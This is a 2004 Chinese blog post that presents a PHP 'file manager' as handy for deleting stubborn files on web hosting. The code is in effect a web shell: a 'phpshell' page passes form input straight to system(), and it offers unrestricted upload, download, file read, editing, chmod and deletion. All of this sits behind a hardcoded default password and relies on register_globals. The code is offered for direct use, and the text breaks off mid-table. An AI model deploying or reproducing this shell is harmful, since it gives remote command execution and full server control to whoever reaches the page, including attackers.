很好的一段代码
06:31 PM 2004-05-31 | 逍遥老鬼 | 日志分类:网络技术
这段代码是用来删除空间上的一些无法删除的文件用的,存为PHP网页就可以用了
<?
$pagestartime=microtime();
ob_start(id);//51.net用户请在这前面加上 // 。
/*
ID设计 PHP文件管理器v1.7版
作者:咖啡(coffee)
主页:<a href="http://www.viewdn.net" target=_blank>http://www.viewdn.net</a>
欢迎各位PHP爱好者对本程式进行优化 和改进。但请保留页面中原作者相关文字。
在此感谢落伍者论坛(<a href="http://im286.com" target=_blank>http://im286.com</a>) 在那里学的不少东西。
*/
////////////////////////////////////////登陆密码//////////////////////////////////////////////////////////////
$adminpass='www.viewdn.net';//登陆密码!!!!
////////////////////////////////////////////////////////////////////////////////////////////////////////////
session_start();
if($pass!="")
{session_register(okpwd);
$okpwd=$password;
}
if($okpwd!=$adminpass)
{
echo"
<table width="233" border="0" cellspacing="1" cellpadding="1" bgcolor="#000000" height="45">
<tr>
<td bgcolor="#CCCCCC" height="7" align="center"><font size="2pt">文件管理登陆</font></td>
</tr>
<tr>
<form method="post" action="$PHP_SELF">
<td bgcolor="#FFFFFF" align="center" height="9"><font size="2"> 密码
<input type="password" name="password" maxlength="22" size="17" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</font>
<input type="submit" name="pass" value="登陆" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</td>
</form>
</tr>
</table>
";
}
else
{
?>
<?
if($tools==phpshell)
{
echo"
<html>
<head>
<title>ID文件管理器 phpshell工具v1.0bate</title>
<style type="text/css">
<!--
.forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
-->
</style>
</head>
<body bgcolor="#999999" leftmargin="5">
<center>
";?>
<?
echo"<table width="100%" border="0" cellspacing="1" cellpadding="1" bgcolor="#000000" class="forn">
<form name="" action="" method="post">
<tr><td bgcolor="#CCCCCC" align="left">命令:
<input type="text" name="command" size="50" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
<input type="submit" value="运行" name="submit" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
phpshell工具 1.0bate <a href="javascript:location.reload()">刷新</a>
</td></tr><tr><td bgcolor="#FFFFFF" align="left">
<textarea cols="93" rows="22" readonly name="textarea" style="font-size:9pt;background-color:#ffffff;border: 0px ">";
if (!empty($command)) {
system($command);
}
echo"
</textarea>
</td></tr></form></table>";
?>
<?
}
elseif($tools==editfileperm) //编辑文件属性
{
echo"
<html>
<head>
<title>ID文件管理器 改属性</title>
<style type="text/css">
<!--
.forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
-->
</style>
</head>
<body bgcolor="#999999" leftmargin="5">
<center>";
$perm=substr(base_convert(fileperms("$dir/$fileperm"),10,8),-4);
echo"
<table width="100%" border="0" cellspacing="1" cellpadding="1" bgcolor="#000000" class='forn'>
<form name="" method="post" action="$PHP_SELF?dir=$dir&fileperm=$fileperm">
<tr><td bgcolor="#CCCCCC" height="5" align="left">文件属性修改工具 <a href="?dir=$dir">反回</a></td>
</tr><tr><td bgcolor="#FFFFFF" height="7" align="center"> $fileperm 文件属性为:
<input type="text" name="lastfileperm" value="$perm" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
<input type="submit" name="editperm" value="修改" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
<input type="reset" value="重置" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
文件属性值请用八进制.如: 0777.0666</td>
</tr> </form>
</table>
";
}
elseif($tools=='rename'&&$filename!='')
{
echo"
<html>
<head>
<title>ID文件管理器 </title>
<style type="text/css">
<!--
.forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
-->
</style>
</head>
<body bgcolor="#999999" leftmargin="5">
<center>";
echo"
<table width="100%" border="0" cellspacing="1" cellpadding="0" class='forn' bgcolor="#000000">
<form name="" method="post" action="$PHP_SELF?dir=$dir&action=rename">
<tr>
<td bgcolor="#cccccc">文件改名 | <a href='javascript:history.back(1)'>反回</a></td>
</tr>
<tr>
<td bgcolor="#ffffff">将文件 $filename 改名为
<input name="newname" type="text" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000"value="$filename">
<input name="rename" type="hidden" id="rename" value="$filename">
<input type="submit" value="修改" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000"> </td>
</tr></form>
</table>";
}
else
{
?>
<?
if ($downfile) {
if (!@is_file($downfile))
echo"你要下的文件不存在";
$filename = basename($downfile);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($downfile);
exit;
}
?>
<?php
if($dir=="")
$dir="./";
?>
<html>
<head>
<title>ID PHP文件管理器 Powrerd by 咖啡</title>
<style type="text/css">
<!--
.forn { font-family: "宋体"; font-size: 9pt; line-height: 13pt; color: #000000; text-decoration: none}
a:link { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:hover { font-family: "宋体"; font-size: 9pt; text-decoration: none}
a:visited { font-family: "宋体"; font-size: 9pt; text-decoration: none}
-->
</style>
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body bgcolor="#999999" leftmargin="5">
<center>
<?
if ($editfile!=""&&$action!='copy'&&$n=='1'||$newfile!="")//编辑文件窗口
{
if($newfile==""){
$filename = "$dir/$editfile";
$fd = fopen( $filename, "r" );
$contents = fread($fd, filesize($filename));
fclose( $fd );
$contents= str_replace("/textarea>","//textarea>",$contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
echo"
<form name='edit' method='post' action=''>
<font size='2'> 目前正在编辑文件名:</font>
<input type='text' name='editfilename' style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" value=$editfile>
<font size='2'> (你可以给文件改名) 复制:</font>
<input type='checkbox' name='copy' value='1'>
<font color=red size='2'>注意事件:选中复制后,需给新的文件改名,原文件内容不会变!</font><br>
<textarea name='editfiletxt' cols='110' rows='26' style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">$contents </textarea>
<br>
<input type='hidden' name='action' value='copy'>
<input type='submit' value='提交'style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type='reset' value='重置' style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</form>";
}
else
{
?>
<table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid;BORDER-top: #000000 1px solid;" width="100%" border="0" cellspacing="0" cellpadding="1" bgcolor="#9999CC">
<tr>
<td class="forn" width="73%">程序目录:
<?
$path="";
$pathname=str_replace('\','/',dirname(__FILE__));
echo "<a href='$PHP_SELF'>$pathname</a>";?>
服务器IP: <? echo"$SERVER_ADDR";?> <font color="#FFFFFF"> </font><span class="forn"> <font color="#FF0000">
I</font><font color="#0000FF">D</font><font color="#9900CC">设计</font>
<font color="#666666">PHP文件管理器 v1.7</font></span></td>
<td class="forn" width="27%"><span class="forn">特殊工具: <a href="#" onClick="MM_openBrWindow('?tools=phpshell','ID文件管理器phpshell工具','width=600,height=400')">phpshell</a></span></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="1" cellpadding="2" bgcolor="#000000" class="forn">
<form enctype="multipart/form-data" action="?dir=<? echo"$dir";?>" method="post" name=fm class="forn">
<tr bgcolor="#FFFFFF">
<td width="14%" align="center" bgcolor="#CCCCFF"><font size="2">请选择文件:
</font></td>
<td width="59%"><font size="2">
<input name="userfile" type="file" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
</font></td>
<td rowspan="5" align="left" valign="top" width="27%">
<?
if(!$userfile&&!$delfile&&!$deldir&&!$mkdir&&!$editfile&&!$editperm&&!$action)
{
echo"PHP探针:<br>";
echo"<font color=red>服务器PHP版本:</font>php";
echo PHP_VERSION."<br>";
echo"<font color=red>服务器操作系统:</font>";
echo PHP_OS."<br>";
echo"<font color=red>服务器解译引擎:</font>";
echo "$SERVER_SOFTWARE <br>";
echo"<font color=red>脚本超时时间:</font>";
echo get_cfg_var("max_execution_time")."秒<br>";
echo"<font color=red>服务器端口:</font>";
echo "$SERVER_PORT";
echo"<font color=red> 空间大小:</font>";
echo intval(diskfreespace("./") / (1024 * 1024)).'Mb<br>';
echo"<font color=red> 可上传最大单文件:</font>";
echo get_cfg_var("upload_max_filesize");
} ?>
<?
if(@$userfile!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(@$lastname!="")
{
$lastname=$lastname;
}
else
$lastname=$userfile_name;
if(file_exists("$filedir/$lastname")=="1")
echo"同名文件存在,请换个名子上传";
else
{
copy($userfile,"$filedir/$lastname");
echo $userfile_name."--该文件的原始名称<br>";
echo $lastname."上传后的名称<br>";
echo $userfile_size."--上传文件的实际字节数<br>";
echo $userfile_type."-文件类型";
echo "<p>〖<a href='$filedir/$userfile_name' target='_blank'>看看</a>〗";
}
echo "〖<a href='javascript:history.back(1)'>返回</a>〗";
}
?>
<?php
if($delfile!="")
{
if(file_exists($delfile))
{
@unlink($delfile);
}
else{
$xx="1";
echo "文件已不存在<br>";
}
if(!file_exists($delfile)&&$xx!="1")
echo"删除成功";
else
echo"删除失败";
}
?>
<?php
if($deldir!="")
{
$deldirs="$dir/$deldir";
if(file_exists("$deldirs")) //是否为空目录检测
{
$mydir=dir($deldirs);
while($files=$mydir->read())
{
$i=$i+1;
if($i>2)break;
}
$mydir->close(); //不关闭,后面就不能删除了。晕。总是忘。费了好大功夫才找出来
}
if(file_exists("$deldirs")&&$i==2)
{
chmod("$deldirs",0777);
rmdir("$deldirs");
$xy="1";
}
if($i>2)
echo"<font color=red>此目录里面有文件,如果要将整个目录全部删除,请点---> <a href='?dir=$dir&deldir=$deldir&deltree=$deldir'>删除整个目录</a></font>";
if(!file_exists("$deldirs"))echo"目录不存在!";
if($xy=="1")echo"删除完必,";
}
?>
<?
if($mkdir)
{
$mkdirs="$dir//$mkdir";
if(file_exists("$mkdirs"))
echo"该目录存在";
else
{
mkdir("$mkdirs",0777);
if(file_exists("$mkdirs"))
echo"目录创建成功";
else
echo"目录创建失败";
}
}
?>
<?
if($deltree!=""&&$deldir!="")
{
if($deltree==$deldir)
{
$deldirs="$dir/$deltree";
if(file_exists("$deldirs"))
{
deltree($deldirs);
echo"删除整个目录完必!<br>";
}else
echo"文件已不存在!<br>";
}
else
echo"错误操作!!<a href='javascript:history.back(1)'>反回</a>";
}
?>
<?
//编辑文件部分
if ($editfile!=""||$editfilename!="")
{
if($editfile!="")$filename1="$dir/$editfile";
else $editfile=$editfilename;
$filename="$dir/$editfilename";
if($copy!="1")
{
$editfiletxt=stripslashes("$editfiletxt");
$editfiletxt= str_replace("//textarea>","/textarea>",$editfiletxt);
writetofile("$filename","$editfiletxt");
if($editfile!=$editfilename)unlink($filename1);
if(file_exists($filename))
{
echo"写入成功";
}
elseif(!file_exists($filename))echo"失败";
}
if($copy=="1"&&$editfile==$editfilename)
{
echo"您要复制?可没有给新的文件改个名字,现在两个文件名相同,请<a href='javascript:history.back(1)'>返回</a>";
}
elseif($copy=="1"&&$editfile!=$editfilename){
echo"开始复制...<br>";
$lastfilename="$dir/$editfilename";
$editfiletxt=stripslashes("$editfiletxt");
$editfiletxt= str_replace("</textarea>","</textarea>",$editfiletxt);
writetofile("$lastfilename","$editfiletxt");
if(file_exists($lastfilename))echo"写入成功";
elseif(!file_exists($lastfilename))echo"失败";
}}
?>
<?if($editperm!="")//编辑属性部分
{
$lastfileperm=OctDec($lastfileperm);
chmod("$dir/$fileperm",$lastfileperm);
$lastperm=substr(base_convert(fileperms("$dir/$fileperm"),10,8),-4);
echo"文件修改后的属性为$lastperm";
}
?>
<?if($newname!=""&&$action==rename)//改名部分
{
$rename="$dir/$rename";
$newname="$dir/$newname";
if(@rename($rename,$newname))echo"改名成功,$rename 改为 $newname";
else echo"重命名失败 原因:1.存在同名文件,2.可能访文件名不存在,3.或权限不够";
}
?>
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="14%" align="center" bgcolor="#CCCCFF"><font size="2">文件上传的目录:
</font></td>
<td width="59%"><font size="2">
<input type="text" name="filedir" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" value="<? echo"$dir";?>">
请用服务器上相对目路径</font></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="14%" align="center" height="3" bgcolor="#CCCCFF"><font size="2">上传后的文件名:</font>
</td>
<td width="59%" height="3">
<input type="text" name="lastname" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
可不写 <font size="2">(注意,请在后面加后缀名!如:name.zip)</font></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="14%" bgcolor="#CCCCFF"> </td>
<td width="59%">
<input type="submit" value="上传" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type="reset" name="Submit" value="重置" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td colspan="2" bgcolor="#CCCCFF" height="2">还有很多功能我正在想,尽量将这个文件功能变的更强大.请提出建议
mail:<a href="mailto:phpcoffee@hotmail.com%20">phpcoffee@hotmail.com
</a></td>
</tr>
</form>
</table>
<table style="BORDER-left: #000000 1px solid;BORDER-right: #000000 1px solid" width="100%" border="0" cellspacing="0" cellpadding="1" class="forn" bgcolor="#FFFFFF">
<form name="t" method="get" action="" class="forn">
<tr>
<td height="7"> <span class="forn">当前路径:
<? echo $NowDir = getMyPath($pathname, $dir);?>
</span> 磁盘:
<input type="text" name="dir" size="2"style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type="submit" value="转换" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" name="t">
如:c:盘符,.</td>
</tr>
</form>
</table>
<span class="forn"> </span>
<table width="100%" border="0" cellspacing="1" cellpadding="1" class="forn" bgcolor="#000000" height="44">
<tr bgcolor="#CCCCCC">
<form method="post" action="?dir=<?echo"$dir";?>">
<td width="32%" height="12" bgcolor="#CCCCFF"> 目录:
<input type="text" name="mkdir" size="10" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
<input type="submit" value="创建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000" >
</td>
</form>
<form method="post" action="?action=newsfile&dir=<?echo"$dir";?>">
<td width="68%" height="12" bgcolor="#CCCCFF"> 文件:
<input type="text" name="newfile" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
<input type="submit" value="新建" style="font-size:9pt;background-color:#ffffff;border: 1px solid #500000;color:#500000">
</td>
</form>
</tr>
<tr bgcolor="#FFFFFF">
<td width="32%" align="left" valign="top" height="9">
<table width="100%" border="0" cellspacing="0" cellpadding="0" class="forn">
&
发表评论
